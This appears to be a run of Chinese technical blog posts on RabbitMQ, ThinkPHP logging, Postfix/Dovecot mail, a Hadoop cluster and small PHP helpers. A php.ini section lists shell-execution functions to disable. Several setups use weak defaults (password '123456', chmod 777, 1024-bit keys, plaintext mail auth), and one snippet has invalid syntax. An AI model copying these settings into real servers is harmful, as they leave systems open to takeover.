前言

RabbitMq是实现AMQP消息中间件的一种,常被用于RPC场景。RabbitMq对消息的发送端和消息的接收端进行了解耦,使消息的发送者无需了解消息的接收端,反之,接收端也无需过多了解发送端。简言之,生产者只需负责生产,消费者只负责消费。

基本概念

  • queue (队列)

    队列是存放消息的地方,且其中的消息是按序排布的。根据设置,队列可以是临时的(用完即删),也可以是持久的(服务未停止前一直存在)。

  • channel (频道)

    channel的作用是进行消息的传递。消息存放在队列中,以轮询的方式通过频道发送给监听频道的消费者,可以动态的增加消费者以提高消息的“消费能力”。

  • exchange (交换机)

    顾名思义,它的作用是转发消息,角色行为是“调度”。调度规则有四种:direct, topic, headers and fanout

    1.direct: 根据routigKey指定的队列进行消息转发
    2.topic: 按规则转发消息,该类型非常灵活,甚至可以实现其它三种类型的转发方式
    3.header: 不处理路由键,根据消息内容中的headers属性匹配转发规则
    4.fanout: 转发消息到所有已绑定的队列

rabbitMq-server

系统环境: Centos7.3

  • 安装erlang
yum install -y epel-release erlang

#查看版本
erl -version
  • 下载rabbitmq-server并进行yum安装

http://www.rabbitmq.com/download.html

cd /usr/src
wget http://www.rabbitmq.com/releases/rabbitmq-server/v3.6.11/rabbitmq-server-3.6.11-1.el6.noarch.rpm

rpm --import http://www.rabbitmq.com/rabbitmq-signing-key-public.asc

yum install -y rabbitmq-server
  • 启动
# 开机自启动
chkconfig rabbitmq-server on

# 启动服务
service rabbitmq-server start

# 查看服务状态
service rabbitmq-server status

web管理工具

  • 安装
rabbitmq-plugins enable rabbitmq_management
  • 默认账号密码

    默认账号只能在localhost等本机模式下才可登陆

    guest
    guest
    
  • 添加可以远程登陆的账号

sudo rabbitmqctl add_user test 123456
sudo rabbitmqctl set_user_tags test administrator
sudo rabbitmqctl set_permissions -p / test ".*" ".*" ".*"
  • 查看已创建用户
rabbitmqctl list_users
  • 浏览器访问web管理工具

注意防火墙配置,开启15672端口

http://domain_or_ip:15672/

rabbitmqadmin

rabbitmqadmin是远程管理接口的命令行工具

安装好web管理工具并成功访问后,可在http://server-name:15672/cli页面下载rabbitmqadmin文件

拷贝到 /usr/local/bin 或者你想要的路径

增加可执行权限 : chmod 777 rabbitmqadmin

rabbitmqctl

rabbitmqctl是一个简单的命令行工具用于管理RabbitMQ Server,适合通过ssh登陆的管理

rabbitmqctl --help # 查看rabbitmqctl相关命令

php-amqplib

composer 组件
https://github.com/php-amqplib/php-amqplib

  • 安装
composer require php-amqplib/php-amqplib
  • 关于使用php-amplib组件的示例代码

https://github.com/AxiosCros/tpr-cms/blob/master/application/api/index/controller/Rabbit.php


namespace tpr\api\index\controller; use PhpAmqpLib\Connection\AMQPStreamConnection; use PhpAmqpLib\Message\AMQPMessage; use think\Controller; use think\Debug; use think\Fork; class Rabbit extends Controller { public function send(){ /** * 连接RabbitMq-Server */ $connection = new AMQPStreamConnection('localhost', 5672, 'guest', 'guest'); //选择channel $channel = $connection->channel(); //选择队列,队列名: 'hello' $queue_name = 'hello'; $channel->queue_declare($queue_name, false, false, false, false); // 连续20次发送 for ($i=0;$i<20;$i++){ $msg = new AMQPMessage('Hello World!'.time() . '->count:' . $i); $channel->basic_publish($msg, '', $queue_name); } $channel->close(); $connection->close(); $this->response($queue_name); } public function receive(){ //接收者名称 $receiver_name = uniqid(); Fork::work($this , 'forkReceive',[$receiver_name]); $this->response($receiver_name); } public function forkReceive($receive_name){ $connection = new AMQPStreamConnection('localhost', 5672, 'guest', 'guest'); //选择channel $channel = $connection->channel(); //选择队列,队列名: 'hello' $channel->queue_declare('hello', false, false, false, false); echo ' [*] Waiting for messages. To exit press CTRL+C', "\n"; $callback = function($msg) use ($receive_name) { Debug::save(ROOT_PATH . 'rabbitmq.log',$receive_name.' : '.$msg->body); echo " [x] Received ", $msg->body, "\n"; }; //监听队列 $channel->basic_consume('hello', '', false, true, false, false, $callback); while(count($channel->callbacks)) { $channel->wait(); } $channel->close(); $connection->close(); } }
  • 测试过程

receive方法运行两次,创建两个接收端,然后调用send方法,发送20次message

  • 运行结果
59a91fa0ed35a : Hello World!1504256098->count:0
59a91fa0ed35a : Hello World!1504256098->count:2
59a91fa1c2f30 : Hello World!1504256098->count:1
59a91fa0ed35a : Hello World!1504256098->count:4
59a91fa1c2f30 : Hello World!1504256098->count:3
59a91fa0ed35a : Hello World!1504256098->count:6
59a91fa1c2f30 : Hello World!1504256098->count:5
59a91fa0ed35a : Hello World!1504256098->count:8
59a91fa1c2f30 : Hello World!1504256098->count:7
59a91fa0ed35a : Hello World!1504256098->count:10
59a91fa1c2f30 : Hello World!1504256098->count:9
59a91fa0ed35a : Hello World!1504256098->count:12
59a91fa1c2f30 : Hello World!1504256098->count:11
59a91fa0ed35a : Hello World!1504256098->count:14
59a91fa1c2f30 : Hello World!1504256098->count:13
59a91fa0ed35a : Hello World!1504256098->count:16
59a91fa1c2f30 : Hello World!1504256098->count:15
59a91fa1c2f30 : Hello World!1504256098->count:17
59a91fa0ed35a : Hello World!1504256098->count:18
59a91fa1c2f30 : Hello World!1504256098->count:19

代码地址 : tpr_infinite_tree()

源码

    function tpr_infinite_tree($data,$parent_index='parent_id',$data_index='id',$child_name='child'){
//        $data = [
//            ['id'=>1,'parent_id'=>0],
//            ['id'=>2,'parent_id'=>3],
//            ['id'=>3,'parent_id'=>1],
//            ['id'=>4,'parent_id'=>2],
//            ['id'=>5,'parent_id'=>6],
//            ['id'=>6,'parent_id'=>7],
//            ['id'=>7,'parent_id'=>5],
//        ];
        $items = [];
        foreach ($data as $d){
            $items[$d[$data_index]] = $d;
            if(!isset($d[$parent_index]) || !isset($d[$data_index]) || isset($d[$child_name])){
                return false;
            }
        }
        $tree = [];$n=0;
        foreach($items as $item){
            if(isset($items[$item[$parent_index]])){
                $items[$item[$parent_index]][$child_name][] = &$items[$item[$data_index]];
            }else{
                $tree[$n++] = &$items[$item[$data_index]];
            }
        }
        return $tree;
    }

阐释

参数

  • $data 节点list数据
  • $parent_index 父节点索引名,默认值parent_id
  • $data_index 各节点索引名,默认值id
  • $child_name 树状结构中子节点位存于父节点的属性值,默认值child

原理

根据节点id作为key值
单循环各节点,判断是否有父节点
若有父节点,则子节点绑定至父节点的child属性中
当出现a属于b,b属于c,c属于a这种死循环所属关系时,不会在$tree中体现

前言

之前用tp的日志主要是以文件日志为主,在调试和应用过程中发现使用起来并不是很方便,在tp高级群里问了下有没有可以解析tp日志文件的composer组件也没人应,就自己写了个日志文件解析的类TPLogService。但是感觉依然不够理想,所以就写了个Mongodb版的日志驱动。


TPLogService介绍

TPLogService代码地址

https://github.com/AxiosCros/tpr-composer/blob/master/src/service/TPLogService.php

TPLogService主要特点

1.能解析file形式的日志文件。
2.日志解析是遍历日志文件夹下的所有日志文件,以目录为单位生成一个数组形式的一大堆数据,这些数据比较难统计分析。
3.支持只解析单日志文件,只需传入该文件路径即可。
4.因为不能根据条件查询,所以当一次性获取的日志数量特别多时,可能会非常非常慢。


Mongodb版日志驱动介绍

Mongodb版日志驱动的特点

1.支持查询,方便分析统计,比如统计某个方法的请求次数,查看处理最慢的是哪个方法等等。
2.性能更好。较比于日志文件解析,通过查询方式获取日志信息性能肯定是更好的。
3.方便获取。只要可以连接Mongodb数据库即可
4.不易丢失。文件形式虽然也是持久化的,但是一旦项目因为变动或其他原因,丢失了runtime目录,极易造成日志的丢失。而放置mongodb中,可以在一定程度上保证日志能够稳定存在。

代码文件地址

已提交pr,未合并,待正式合并后代码可能会有变动,也有可能最后转为composer组件的形式

framework: /library/think/log/driver/Mongodb.php

日志配置示例

config.php

'log'    => [
        // 日志记录方式,内置 file socket 支持扩展
        'type'  => 'Mongodb',
        // 日志保存目录
        'path'  => LOG_PATH,
        // 日志记录级别
        'level' => ['error','debug','info'],
        //MongoDB的连接配置
        'connection'=>'default',
        //日志数据库名称
        'database'=>'log',
        //日志时间日期格式
        'time_format'=>"Y-m-d H:i:s",
        //独立记录的日志级别
        'apart_level' => [],
    ],

mongodb连接配置示例

mongodb扩展配置:/config/extra/mongo.php

return [
    'default'=>[
        "type"              => '\think\mongo\Connection',
        "hostname"          => \think\Env::get('mongo.hostname'),
        "database"          => \think\Env::get('mongo.database'),
        "username"          => \think\Env::get('mongo.username'),
        "password"          => \think\Env::get('mongo.password'),
        "hostport"          => \think\Env::get('mongo.hostport'),
        "dsn"               => \think\Env::get('mongo.dsn'),
        "params"            => [],
        "charset"           => "utf8",
        "pk"                => "_id",
        "pk_type"           => "ObjectID",
        "prefix"            => "",
        "debug"             => false,
        "deploy"            => 0,
        "rw_separate"       => false,
        "master_num"        => 1,
        "slave_no"          => "",
        "fields_strict"     => true,
        "resultset_type"    => "array",
        "auto_timestamp"    => false,
        "datetime_format"   => "Y-m-d H:i:s",
        "sql_explain"       => false,
        "pk_convert_id"     => false,
        "type_map" => [
            "root" =>"array",
            "document"=>"array",
            "query" =>"\\think\\mongo\\Query"
        ]
    ]
];

具体代码

namespace think\log\driver;
use think\App;
use think\Config;
use think\Db;

class Mongodb{
    protected $config = [
        // 日志保存目录
        'path'  => LOG_PATH,
        //MongoDB的连接配置
        'connection'=>'default',
        //日志数据库名称
        'database'=>'log',
        //日志时间日期格式
        'time_format'=>"Y-m-d H:i:s",
        //独立记录的日志级别
        'apart_level' => [],
    ];

    protected $mongo_config;

    protected $database;

    public function __construct($config = [])
    {
        if (is_array($config)) {
            $this->config = array_merge($this->config, $config);
        }
        $this->mongo_config = Config::get("mongo.".$this->config['connection']);
        if(empty($this->mongo_config)){
            throw new \InvalidArgumentException('mongodb config not exits');
        }
        $this->database     = $this->config['database'];
    }

    /**
     * 日志写入接口
     * @access public
     * @param array $log 日志信息
     * @return bool
     */
    public function save(array $log = []){
        $insert = [];
        $timestamp = time();
        $datetime = isset($this->config['time_format'])?date($this->config['time_format']):date("Y-m-d H:i:s");

        if (App::$debug ) {
            if(isset($_SERVER['HTTP_HOST'])){
                $insert['current_url'] =  $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
            } else {
                $insert['current_url'] = "cmd:" . implode(' ', $_SERVER['argv']);
            }

            $runtime    = round(microtime(true) - THINK_START_TIME, 10);
            $qps        = $runtime > 0 ? number_format(1 / $runtime, 2). 'req/s]' : '∞'. 'req/s]';
            $runtime_str=  number_format($runtime, 6) . 's';
            $memory_use = number_format((memory_get_usage() - THINK_START_MEM) / 1024, 2);
            $file_load  = count(get_included_files());
            $server     = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '0.0.0.0';
            $remote     = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '0.0.0.0';
            $method     = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'CLI';
            $insert     = [
                'timestamp'=>$timestamp,
                'datetime'=>$datetime,
                'method'=>$method,
                'runtime'=>$runtime_str,
                'qps'=>$qps,
                'memory_use'=>$memory_use . 'kb',
                'file_load'=>$file_load,
                'server'=>$server,
                'remote'=>$remote
            ];
        }

        $content=[];
        foreach ($log as $type => $val){
            if(isset($content[$type])){
                $n = count($val);
            }else{
                $n=0;
            }
            foreach ($val as $msg) {
                if (!is_string($msg)) {
                    $msg = var_export($msg, true);
                }
                $content[$type][$n] = $msg;
                $n++;
            }
            if(in_array($type, $this->config['apart_level'])){
                $this->log($content,$type);
            }
        }
        $insert['log'] = $content;
        $this->log($insert);
        return true;
    }

    protected function log($insert=[],$database=''){
        if(empty($database)){
            $database = $this->database;
        }
        $mongo = Db::connect($this->mongo_config)->name($database);
        if(empty($mongo)){
            throw new \InvalidArgumentException('mongodb connection fail');
        }
        return $mongo->insert($insert);
    }
}

相关文章

vim php.ini

#search disable_functions config
  • passthru
  • exec
  • system
  • chroot
  • scandir(tp5中会用到)
  • chgrp
  • shell_exec
  • proc_open
  • proc_get_status
  • popen
  • ini_alter
  • ini_restore
  • dl
  • openlog
  • syslog
  • readlink
  • symlink
  • popepassthru
  • stream_socket_server

注意:以下所有配置的命名都是根据主机的hostname变量来配置的,如果hostname更换了的话,需要重新生成证书。

生成ssl证书

  • 生成证书的脚本代码

以hostname为命名生成证书,运行脚本后需输入四次相同密码(密码须包含数字和字母)

#!/bin/sh
rm -rf $(hostname).*

openssl genrsa -des3 -out $(hostname).key 1024

SUBJECT="/C=US/ST=Mars/L=iTranswarp/O=iTranswarp/OU=iTranswarp/CN=$(hostname)"

openssl req -new -subj $SUBJECT -key $(hostname).key -out $(hostname).csr

mv $(hostname).key $(hostname).origin.key

openssl rsa -in $(hostname).origin.key -out $(hostname).key

openssl x509 -req -days 3650 -in $(hostname).csr -signkey $(hostname).key -out $(hostname).crt

cp $(hostname).crt /etc/pki/tls/certs/$(hostname).crt
cp $(hostname).key /etc/pki/tls/certs/$(hostname).key

echo "the key path:/etc/pki/tls/certs/$(hostname).key"
echo "the crt path:/etc/pki/tls/certs/$(hostname).crt"

rm -rf $(hostname).*

Postfix安装及配置

安装

yum -y install postfix

配置

  • vim /etc/postfix/main.cf
# line 75: uncomment and specify hostname
myhostname =  $(hostname)

# line 83: uncomment and specify domain name
mydomain = test.cn

# line 99: uncomment
myorigin = $mydomain

# line 116: change
inet_interfaces = all

# line 164: add
mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain

# line 264: uncomment and specify your local network
mynetworks = 127.0.0.0/8, 10.0.0.0/24

# line 419: uncomment (use mailboxdir)
home_mailbox = mailbox/

# line 574: add
smtpd_banner = $myhostname ESMTP


# 在配置文件尾部追加以下内容

# limit an email size for 10M
message_size_limit = 10485760

# limit a mailbox for 1G
mailbox_size_limit = 1073741824

# for SMTP-Auth
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes
smtpd_sasl_security_options = noanonymous
smtpd_sasl_local_domain = $myhostname
smtpd_recipient_restrictions = permit_mynetworks,permit_auth_destination,permit_sasl_authenticated,reject
smtpd_use_tls = yes
smtpd_tls_cert_file = /etc/pki/tls/certs/$(hostname).crt
smtpd_tls_key_file = /etc/pki/tls/certs/$(hostname).key
smtpd_tls_session_cache_database = btree:/etc/postfix/smtpd_scache
  • vim /etc/postfix/master.cf
# line 26-28: uncomment
smtps       inet   n       -       n       -       -       smtpd
  -o syslog_name=postfix/smtps
  -o smtpd_tls_wrappermode=yes

Dovecot 安装及配置

安装

yum -y install dovecot

配置

  • vim /etc/dovecot/dovecot.conf
# line 24: uncomment
protocols = imap pop3 lmtp
# line 30: uncomment and change ( if not use IPv6 )
listen = *
  • vim /etc/dovecot/conf.d/10-auth.conf
# line 10: uncomment and change ( allow plain text auth )
disable_plaintext_auth = no
# line 100: add
auth_mechanisms = plain login
  • vim /etc/dovecot/conf.d/10-mail.conf
# line 30: uncomment and add
mail_location = maildir:~/Maildir
  • vim /etc/dovecot/conf.d/10-master.conf
# line 96-98: uncomment and add like follows
# Postfix smtp-auth
unix_listener /var/spool/postfix/private/auth {
    mode = 0666
    user = postfix
    group = postfix
}
  • vim /etc/dovecot/conf.d/10-ssl.conf
# line 8: change
ssl = yes
# line 14,15: specify certificates
ssl_cert = </etc/pki/tls/certs/$(hostname).crt
ssl_key = </etc/pki/tls/certs/$(hostname).key

运行

systemctl restart postfix
systemctl enable postfix
systemctl start dovecot
systemctl enable dovecot

firewall-cmd --add-service=smtp --permanent
firewall-cmd --add-port={110/tcp,143/tcp} --permanent
firewall-cmd --add-service={pop3s,imaps} --permanent
firewall-cmd --add-port=465/tcp --permanent
firewall-cmd --reload

邮件日志报告pflogsumm

  • 安装
yum -y install postfix-perl-scripts
  • 查看
perl /usr/sbin/pflogsumm -d yesterday /var/log/maillog
  • 每天1:00AM 定时发送邮件日志摘要到根
crontab -e
00 01 * * * perl /usr/sbin/pflogsumm -e -d yesterday /var/log/maillog | mail -s 'Logwatch for Postfix' root

参考资料:CentOS 7.2 部署邮件服务器(Postfix)

thinkphp框架版本及修改文件

修改内容

  1. 取消cookie存入语言设置功能
  2. Lang.php 中增加 private static $acceptLanguage = ['zh-hans-cn'=>'zh-cn'];
  3. 增加Accept-Language 转义功能

修改理由

1.取消cookie存入语言设置功能

客户端在中文语言环境下调接口,tp将语言设置存入cookie。此后,修改系统语言为英文,再次调接口,因为此时tp是调用的cookie中的语言设置,所以依然是中文,即客户端不能即时的修改语言。

2.增加Accept-Language 转义功能

ios客户端从ios系统中拿到的中文语言环境变量是zh-hans-us,原有的detect()方法不能将其转义为zh-ch。

增加Accept-Language 转义功能,可以手动设置请求头对应的语言包,原有的zh-hans-cn的转义作为默认转义,放置在self::$acceptLanguage变量中

修改后的detect()方法如下

    public static function detect()
    {
        // 自动侦测设置获取语言选择
        $langSet = '';

        if (isset($_GET[self::$langDetectVar])) {
            // url中设置了语言变量
            $langSet = strtolower($_GET[self::$langDetectVar]);
        }
        elseif (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
            // 自动侦测浏览器语言
            preg_match('/^([a-z\d\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches);
            $langSet = strtolower($matches[1]);
            $header_accept_lang_config = Config::get('header_accept_lang');
            if(isset($header_accept_lang_config[$langSet])){
                $langSet =$header_accept_lang_config[$langSet];
            }elseif(isset(self::$acceptLanguage[$langSet])){
                $langSet =self::$acceptLanguage[$langSet];
            }
        }
        if (empty(self::$allowLangList) || in_array($langSet, self::$allowLangList)) {
            // 合法的语言
            self::$range = $langSet ?: self::$range;
        }
        return self::$range;
    }

基于TPR的后台管理系统

前端页面基于layui2.0开发,后端逻辑基于tpr-framework框架核心开发

交流QQ群:521797692

github: TPR-CMS

TPR核心代码

  • 基于thinkphp5的修订版框架 tpr-framework
    > 因为与thinkphp5官方版命名空间相同,所以不兼容不能共存。但是使用方法基本与thinkphp5相同

https://github.com/AxiosCros/tpr-framework

tpr-cms后台管理系统所需环境

  • php7.0+
  • php-fpm
  • pcntl
  • posix
  • mysql5.5+
  • redis , phpredis 缓存建议使用redis
  • mongodb 日志驱动建议使用Mongo

框架特点

  • 异步队列。有子进程回收机制与并发数限制的异步队列解决方案

  • 框架核心(tpr-framework)基于thinkphp5.0.9开发,无缝衔接thinkphp5的功能,加快开发速度

  • 便捷的接口参数验证,可以在一定程度上保证接口访问的标准性

  • 通过使用前置和后置中间件,可以有非常好的扩展性

  • 接口缓存,可以非常方便的加速接口请求速度

  • 支持多语言翻译,可以很方便的在中英文等多语言环境中切换

  • 多应用多入口的架构模式,更易于多端接口的开发维护工作

安装

#github
git clone https://github.com/AxiosCros/tpr-cms.git

#oschina
git clone https://git.oschina.net/AxiosCro/tpr-cms.git

cd tpr-cms
composer install

cp .env.example .env

#编辑.env文件
vim .env

#手动导入api.sql至数据库
#api.sql中主要是一些后台管理系统会用到的数据表,另外还有一个api_users的用户示例表

访问

预览

demo

开源协议

遵循Apache2开源协议发布,并提供免费使用

相关设备

主机 系统 hostname ip
master CentOS7.2 master.hadoop 192.168.142.129
slave1 CentOS7.2 1.slave.hadoop 192.168.142.131
slave2 CentOS7.2 2.slave.hadoop 192.168.142.132
slave3 CentOS7.2 3.slave.hadoop 192.168.142.133

所有节点上的操作

配置hosts

vim /etc/hosts/

#添加以下内容
192.168.142.129 master.hadoop
192.168.142.131 1.slave.hadoop
192.168.142.132 2.slave.hadoop
192.168.142.133 3.slave.hadoop

创建用户、用户组和相关目录

  • 创建用户组和用户
groupadd hadoop
useradd -d /home/hadoop -m hadoop -g hadoop

#为hadoop用户设置密码
passwd hadoop

#生成密钥
sudo -Hu hadoop ssh-keygen -t rsa
  • 创建相关目录
mkdir -p /hadoop/tmp
mkdir -p /hadoop/hdfs/data
mkdir -p /hadoop/hdfs/name
chown -R hadoop:hadoop /hadoop/

安装ntp服务及其它相关程序

yum install ntp -y
systemctl enable ntpd
systemctl start ntpd

yum install openssl-devel -y

安装JDK

  • 卸载centos自带的openjdk
#查看已安装的jdk
rpm -qa | grep jdk

#输出示例
java-1.8.0-openjdk-1.8.0.121-0.b13.el7_3.x86_64
java-1.8.0-openjdk-headless-1.8.0.121-0.b13.el7_3.x86_64
java-1.7.0-openjdk-1.7.0.131-2.6.9.0.el7_3.x86_64
java-1.7.0-openjdk-headless-1.7.0.131-2.6.9.0.el7_3.x86_64
copy-jdk-configs-1.2-1.el7.noarch

#卸载
yum remove java-1.7.0-openjdk-headless.x86_64 -y
yum remove java-1.7.0-openjdk -y
yum remove java-1.8.0-openjdk-headless-1.8.0.121-0.b13.el7_3.x86_64 -y
yum remove java-1.8.0-openjdk -y

cd /usr/src/
wget http://download.oracle.com/otn-pub/java/jdk/8u121-b13/e9e7ea248e2c4826b92b3f075a80e441/jdk-8u121-linux-x64.rpm?AuthParam=1489989096_11dbb8b04d10d8c53d34c4aea30bdd71
#上面的这个链接是有有效期的,只能临时用用

#下载后将文件重命名为jdk1.8.0_121.rpm
mv jdk-8u121-linux-x64.rpm?AuthParam=1489989096_11dbb8b04d10d8c53d34c4aea30bdd71 jdk1.8.0_121.rpm

#试过用wget -O参数直接重命名,但是这样不知道为什么,下载速度很慢

rpm -ivh jdk1.8.0_121.rpm
#安装地址  /usr/java/jdk1.8.0_121
#版本不同,安装地址也会有所不同

  • 配置JAVA系统环境变量
vim /etc/profile.d/java.sh

添加以下内容

#!/bin/bash
JAVA_HOME=/usr/java/jdk1.8.0_121
JRE_HOME=$JAVA_HOME/jre
PATH=$PATH:$JAVA_HOME/bin
CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JAVA_HOME/jre/lib/rt.jar
export PATH JAVA_HOME JRE_HOME CLASSPATH

立即生效并查看

source /etc/profile.d/java.sh
java -version

安装hadoop

  • 下载hadoop
cd /usr/src/
wget http://mirrors.hust.edu.cn/apache/hadoop/common/hadoop-2.7.3/hadoop-2.7.3.tar.gz

tar -zxvf hadoop-2.7.3.tar.gz

#拷贝至特定目录
cp /usr/src/hadoop-2.7.3/ /usr/local/hadoop/ -R

chown -R hadoop:hadoop /usr/local/hadoop/

  • 配置hadoop环境变量
vim /etc/profile.d/hadoop.sh

添加以下内容

#!/bin/bash
HADOOP_HOME=/usr/local/hadoop
PATH=$PATH:$HADOOP_HOME/bin:$HADOOP_HOME/sbin
export PATH HADOOP_HOME

立即生效

source /etc/profile.d/hadoop.sh
hadoop version

输出示例

Hadoop 2.7.3
Subversion https://git-wip-us.apache.org/repos/asf/hadoop.git -r baa91f7c6bc9cb92be5982de4719c1c8af91ccff
Compiled by root on 2016-08-18T01:41Z
Compiled with protoc 2.5.0
From source with checksum 2e4ce5f957ea4db193bce3734ff29ff4
This command was run using /usr/local/hadoop/share/hadoop/common/hadoop-common-2.7.3.jar

配置hadoop

HADOOP_HOME=/usr/local/hadoop
因为的配置了JAVA_HOME 系统环境变量,所以无需修改hadoop-env.sh和yarn-env.sh文件手动配置JAVA_HOME

  • core-site.xml
vim /usr/local/hadoop/etc/hadoop/core-site.xml
<configuration>
    <property>
        <name>hadoop.tmp.dir</name>
        <value>/hadoop/tmp</value>
        <description>Abase for other temporary directories.</description>
    </property>
    <property>
        <name>fs.defaultFS</name>
        <value>hdfs://master.hadoop:9000</value>
    </property>
    <property>
        <name>io.file.buffer.size</name>
        <value>4096</value>
    </property>
</configuration>
  • hdfs-site.xml
vim /usr/local/hadoop/etc/hadoop/hdfs-site.xml
<configuration>
    <property>
        <name>dfs.namenode.name.dir</name>
        <value>file:/hadoop/hdfs/name</value>
    </property>
    <property>
        <name>dfs.datanode.data.dir</name>
        <value>file:/hadoop/hdfs/data</value>
    </property>
    <property>
        <name>dfs.replication</name>
        <value>2</value>
    </property>
    <property>
        <name>dfs.namenode.secondary.http-address</name>
        <value>master.hadoop:9001</value>
    </property>
    <property>
        <name>dfs.webhdfs.enabled</name>
        <value>true</value>
    </property>
</configuration>
  • /usr/local/hadoop/etc/hadoop/mapred-site.xml
cp /usr/local/hadoop/etc/hadoop/mapred-site.xml.template /usr/local/hadoop/etc/hadoop/mapred-site.xml
vim /usr/local/hadoop/etc/hadoop/mapred-site.xml
<configuration>
    <property>
        <name>mapreduce.framework.name</name>
        <value>yarn</value>
        <final>true</final>
    </property>
    <property>
        <name>mapreduce.jobtracker.http.address</name>
        <value>master.hadoop:50030</value>
    </property>
    <property>
        <name>mapreduce.jobhistory.address</name>
        <value>master.hadoop:10020</value>
    </property>
    <property>
        <name>mapreduce.jobhistory.webapp.address</name>
        <value>master.hadoop:19888</value>
    </property>
    <property>
         <name>mapred.job.tracker</name>
         <value>http://master.hadoop:9001</value>
    </property>
</configuration>
  • yarn-site.xml
vim /usr/local/hadoop/etc/hadoop/yarn-site.xml
<configuration>
    <property>
        <name>yarn.resourcemanager.hostname</name>
        <value>master.hadoop</value>
    </property>
    <property>
        <name>yarn.nodemanager.aux-services</name>
        <value>mapreduce_shuffle</value>
    </property>
    <property>
        <name>yarn.resourcemanager.address</name>
        <value>master.hadoop:8032</value>
    </property>
    <property>
        <name>yarn.resourcemanager.scheduler.address</name>
        <value>master.hadoop:8030</value>
    </property>
    <property>
        <name>yarn.resourcemanager.resource-tracker.address</name>
        <value>master.hadoop:8031</value>
    </property>
    <property>
        <name>yarn.resourcemanager.admin.address</name>
        <value>master.hadoop:8033</value>
    </property>
    <property>
        <name>yarn.resourcemanager.webapp.address</name>
        <value>master.hadoop:8088</value>
    </property>
</configuration>

在各节点上的操作

进行以下步骤前,请确保以上步骤已在所有节点上(包括master)操作完毕

  • master节点上的操作
#配置slaves
vim /usr/local/hadoop/etc/hadoop/slaves

#删掉原先的locahost,添加以下内容
1.slave.hadoop
2.slave.hadoop
3.slave.hadoop

#ssh免密码登陆
#逐行操作,每步会需要hadoop用户账户的密码
su hadoop
ssh-copy-id -i /home/hadoop/.ssh/id_rsa.pub hadoop@master.hadoop
ssh-copy-id -i /home/hadoop/.ssh/id_rsa.pub hadoop@1.slave.hadoop
ssh-copy-id -i /home/hadoop/.ssh/id_rsa.pub hadoop@2.slave.hadoop
ssh-copy-id -i /home/hadoop/.ssh/id_rsa.pub hadoop@3.slave.hadoop

# 测试连通性
su hadoop
ssh master.hadoop
exit
ssh 1.slave.hadoop
exit
ssh 2.slave.hadoop
exit
ssh 3.slave.hadoop
exit

基本使用

在master节点操作

cd /usr/local/hadoop/sbin/

#切换为hadoop用户进行操作
su hadoop

#启动
./start-all.sh

#停止
./stop-all.sh

今天登陆博客编辑文章时,忽然发现每次提交后nginx都会报502错误,查看nginx的error log发现以下信息


recv() failed (104: Connection reset by peer) while reading response header from upstream

大意应该是连接被重置造成的问题,接下来进一步去看php-fpm的error_log,发现以下log日志


[10-Mar-2017 11:16:00] WARNING: [pool www] child 23579 exited with code 127 after 658.636883 seconds from start [10-Mar-2017 11:16:00] NOTICE: [pool www] child 23645 started

大意好像是php-fpm子进程出错然后重启了,接下来去看php-fpm.conf

vim /usr/local/php7/etc/php-fpm.d/www.conf

找到pm.max_children配置,将值由原先的5改为10试一试,然后重启php-fpm服务,问题解决了。

至于为什么会有这样的原因,不是很理解,难道是最近访问我博客的人变多了?可是看access量好像也不是很多诶~

有点莫名其妙。。。。

前言

今天我的一个同事问了我一个功能,在使用TexturePacker合并小图的使用总是得一个一个的去合,这样很麻烦,问我能不能用命令行的方式,遍历所有文件夹,在各自文件夹内合并生成小图(PS:他的电脑是windows的)。这个功能我之前也没做过,就上网搜了些资料,最后整理归纳了一小段代码。

TexturePacker的安装

从TexturePacker官网下载安装后,将软件的bin目录添加到系统的环境变量中

bat文件内容


@echo off for /f %%i in ('"dir /ad/s/b "') do ( if exist %%i\png ( cd %%i TexturePacker %%i\png --sheet png.png --data png.xml --allow-free-size --no-trim --max-size 1024 --format sparrow --opt RGBA5555 echo %%i ) ) pause

代码解析

dir /ad/s/b

基于bat文件的当前目录,遍历子目录 /ab 是文件夹 /s 是遍历子目录 /b 不显示标题信息或摘要

for命令

针对dir出的结果,单行逐步进行操作,其中%%i是每行的数据,也就是单个目录

/f 全路径

"delims=" 防止空格截断。

附录

《TexturePacker的命令行使用》

函数方法

<?php
function arraySort($array,$sortRule,$order="asc"){
    /**
     * $array = [
     *              ["book"=>10,"version"=>10],
     *              ["book"=>19,"version"=>30],
     *              ["book"=>10,"version"=>30],
     *              ["book"=>19,"version"=>10],
     *              ["book"=>10,"version"=>20],
     *              ["book"=>19,"version"=>20]
     *      ];
     */
    if(is_array($sortRule)){
        /**
         * $sortRule = ['book'=>"asc",'version'=>"asc"]; 条件支持N多个
         */
        usort($array, function ($a, $b) use ($sortRule) {
            foreach($sortRule as $sortKey => $order){
                if($a[$sortKey] == $b[$sortKey]){continue;}
                return (($order == 'desc')?-1:1) * (($a[$sortKey] < $b[$sortKey]) ? -1 : 1);
            }
            return 0;
        });
    }else if(is_string($sortRule)){
        /**
         * $sortRule = "book";
         * $order = "asc";
         */
        usort($array,function ($a,$b) use ($sortRule,$order){
            if($a[$sortRule] == $b[$sortRule]){
              return 0;
            }
            return (($order == 'desc')?-1:1) * (($a[$sortRule] < $b[$sortRule]) ? -1 : 1);
        });
    }
    return $array;

}

使用

<?php
$array = [
                 ["book"=>10,"version"=>10],
                 ["book"=>19,"version"=>30],
                 ["book"=>10,"version"=>30],
                 ["book"=>19,"version"=>10],
                 ["book"=>10,"version"=>20],
                 ["book"=>19,"version"=>20]
];

//单条件
$array = arraySort($array,'book','asc');
var_dump[$array];


//多条件
arraySort($array,['book'=>"asc",'version'=>"asc"]);
var_dump[$array];


----基于阿里云搭建的轻量级架构

前言

从项目启动到现在差不多快有一年了,在这一年里经历了很多大的版本的改变,业务模式经过不断的磨合也逐渐稳定。在这个时候,总结一下之前项目的架构设计,也为下一阶段做个准备。
